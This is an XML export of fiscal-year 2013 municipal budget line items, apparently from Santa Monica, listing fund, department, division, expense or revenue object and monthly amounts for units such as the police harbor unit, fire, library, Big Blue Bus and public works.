<row _id="540"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533570.0</object><object_description>CONF / MTGS / TRAVEL-TOD</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6966.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6966.0</total></row>
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<row _id="542"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
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<row _id="549"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>114722.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1147</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115869.0</total></row>
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<row _id="556"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14984.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14984.0</total></row>
<row _id="557"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533140.0</object><object_description>BOAT MAINTENANCE / OPERATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22898.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22898.0</total></row>
<row _id="558"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
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<row _id="560"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511510.0</object><object_description>CROSSING GUARDS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>412265.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4123</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>416388.0</total></row>
<row _id="561"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>555080.0</object><object_description>DEAD ANIMAL DISPOSAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9500.0</total></row>
<row _id="562"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5230.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5230.0</total></row>
<row _id="563"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="564"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="565"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>68284.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>68284.0</total></row>
<row _id="566"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2958.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2958.0</total></row>
<row _id="567"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511300.0</object><object_description>HOLIDAY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>480580.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4806</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>485386.0</total></row>
<row _id="568"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>115008.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115008.0</total></row>
<row _id="569"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1539228.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4700</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1543928.0</total></row>
<row _id="570"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>361946.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>361946.0</total></row>
<row _id="571"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555017.0</object><object_description>OUTSIDE REPAIRS - BUS EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="572"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="573"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511972.0</object><object_description>UNIFORM ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7200.0</total></row>
<row _id="574"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2550.0</total></row>
<row _id="575"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>55243.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>552</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55795.0</total></row>
<row _id="576"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>332029.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>332029.0</total></row>
<row _id="577"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2800.0</total></row>
<row _id="578"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="579"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>54000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>54000.0</total></row>
<row _id="580"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25279.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25279.0</total></row>
<row _id="581"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1397689.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1397689.0</total></row>
<row _id="582"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401520.0</object><object_description>SPECIAL PICK-UPS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-35894.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35894.0</total></row>
<row _id="583"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401540.0</object><object_description>STATE HIGHWAY CLEANING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-11600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11600.0</total></row>
<row _id="584"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405020.0</object><object_description>SALE OF REFUSE BAGS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="585"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="586"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401340.0</object><object_description>GEN PROM BUS LIC.-DOWNTOWN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-10150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10150.0</total></row>
<row _id="587"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401360.0</object><object_description>GEN PROM BUS LICENSE MAIN ST.</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-6100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6100.0</total></row>
<row _id="588"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>401380.0</object><object_description>POUND FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-36631.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-36631.0</total></row>
<row _id="589"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400690.0</object><object_description>PLAN CHECK FEES-ENGINEERING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-374576.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-374576.0</total></row>
<row _id="590"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10200.0</total></row>
<row _id="591"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>577220.0</object><object_description>INTEREST EXPENSE - BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>717200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>717200.0</total></row>
<row _id="592"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>577230.0</object><object_description>FISCAL AGENT FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5250.0</total></row>
<row _id="593"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1771125.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>182530</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1953655.0</total></row>
<row _id="594"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="595"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>603</division_id><division_name>SPECIAL SERVICES</division_name><object xsi:nil="true" /><object_description>CONTRACT SERVICES - WISE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>640500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-44500.0</march><april>0</april><may>0</may><june>0.0</june><total>596000.0</total></row>
<row _id="596"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="597"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1459.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1459.0</total></row>
<row _id="598"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="599"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="600"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>315.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>315.0</total></row>
<row _id="601"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
